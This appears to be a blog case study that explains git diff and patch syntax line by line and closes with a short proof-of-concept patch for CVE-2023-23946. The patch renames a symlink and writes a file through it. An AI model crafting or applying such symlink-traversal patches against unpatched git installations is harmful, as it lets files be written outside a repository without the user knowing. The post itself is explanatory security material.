Case Study - Git Patch Understood
intro
Git patch is a feature of the Git version control system that allows developers to create and apply patches to code changes. A patch is a file that contains a set of changes made to a codebase, which can then be applied to another codebase to replicate those changes.
In this case study, we’ll look at a typical patch file and understand what it means line by line and how it can be abused.
Understand a patch file
Let’s look at a simple git patch to begin with
# create and init a repo
> mkdir repo
> cd repo
> git init
# create a file and make the first commit
> touch file.txt
> echo 'this is some content' > file.txt
> git add . && git commit -m 'update'
# update the file.txt
> echo 'somthing extra' >> file.txt
# add an extra file.txt
> touch extra_file.txt
> git add . && git commit -m 'update'
# add a symlink
> mkdir /tmp/test
> ln -s /tmp/test symlink
> git add . && git commit -m 'add symlink'
# rename a file
> mv file.txt renamed.txt
> git add . && git commit -m 'rename'
The diff would look like this, note that the content in the diff file won’t necessarily follow the order of git operations. It’s essentially a file for the git tools to understand, not intended for human to directly work with.
> git diff dfffa90977c9e18832a63e22f9daebfe315fbc08 37a5b7ddb13a8560839b5f7e7c9119bf83cdfff8
# create a file and add extra content
diff --git a/file.txt b/file.txt
index f95c11d..7df7c67 100644
--- a/file.txt
+++ b/file.txt
@@ -1 +1,2 @@
this is some content
+something extra
# add a new file
diff --git a/extra_file.txt b/extra_file.txt
new file mode 100644
index 0000000..e69de29
# add a symlink
diff --git a/symlink b/symlink
new file mode 120000
index 0000000..b249f1a
--- /dev/null
+++ b/symlink
@@ -0,0 +1 @@
+/tmp/test
# rename a file
diff --git a/file.txt b/renamed.txt
similarity index 56%
rename from file.txt
rename to renamed.txt
\ No newline at end of file
Let’s break down the diff and examine each line
diff --git a/file.txt b/file.txt
This is the Git diff header
diff --git
is just a syntax notion of a Git-specific diff in Unix command style.a/file.txt
andb/file.txt
are the files being compared, the leading directory notionsa/
andb/
are not actual directories, they are just conventional notions to distinguish files in case there is a rename. This is case, there isn’t a rename, hence both files are still using the same name.
index f95c11d..7df7c67 100644
This is an extended header line that gives information from the Git index regarding this file:
f95c11d
and7df7c67
are the blob IDs of the A and B versions of the file contents being compared100644
is the mode bits, indicating this is a regular file, i.e not executable and not a symbolic link..
notion between the blob IDs is just as a separator
--- a/file.txt
+++ b/file.txt
This is the traditional unified diff header, it shows the files being compared and the direction of the changes
---
shows lines in the A version but missing from the B version+++
shows lines in the B version but missing from the A version- If there is file create or remove performed,
/dev/null
will be used to indicate the absence.
@@ -1 +1,2 @@
this is some content
+something extra
This is a difference section (i.e change hunk, or chunk)
@@ -R,r +R,r @@
notion indicates the line number and length this chunk in the A and B versions. Those are two ranges, the one with the-
is the range for the chunk in the original file, and the one with the+
the range in the new file. TheR
designates the line number where the diff operation is started.- Every time you
remove
a line, the+r
number will be smaller than-r
. - Every time you
add
a line, the+r
number will be bigger than-r
- Changing a line will add
0
to the+r
number. (same scope of lines)
- Every time you
- The subsequent lines beginning with a space are context: they appear as shown in both versions of the file. The lines beginning with - and + signs have the meanings mentioned above.
# add a new file
diff --git a/extra_file.txt b/extra_file.txt
new file mode 100644
index 0000000..e69de29
With the line by line explaination from above, this chuck should be easy to understand.
# add a symlink
diff --git a/symlink b/symlink
new file mode 120000
index 0000000..b249f1a
--- /dev/null
+++ b/symlink
@@ -0,0 +1 @@
+/tmp/test
Adding a symlink is similar to adding a new file, note the differences in file mode 1200000
and the use of --- /dev/null
# rename a file
diff --git a/file.txt b/renamed.txt
similarity index 56%
rename from file.txt
rename to renamed.txt
The similarity index is the percentage of unchanged lines, and the dissimilarity index is the percentage of changed lines. It is a rounded down integer, followed by a percent sign. The similarity index value of 100% is thus reserved for two equal files, while 100% dissimilarity means that no line from the old file made it into the new one.
example
Take the following diff as an example, this diff will rename an existing symlink
to symlink2
and attempt to create a file called poc
under the symlink2
’s path and populate it with content aaaaaaaa
.
Of course this is not possible due to security implications and had been fixed in v2.39.2, v2.38.4, v2.37.6, v2.36.5, v2.35.7, v2.34.7, v2.33.7, v2.32.6, v2.31.7, and v2.30.8. https://www.cvedetails.com/cve/CVE-2023-23946/
diff --git a/symlink b/symlink2
similarity index 100%
rename from symlink
rename to symlink2
--
diff --git /dev/null b/symlink2/poc
new file mode 100644
index 0000000..b249f1a
--- /dev/null
+++ b/symlink2/poc
@@ -0,0 +1 @@
+aaaaaaaa
Support meowmeow
If you find this article useful, please support: https://www.buymeacoffee.com/meowmeowattack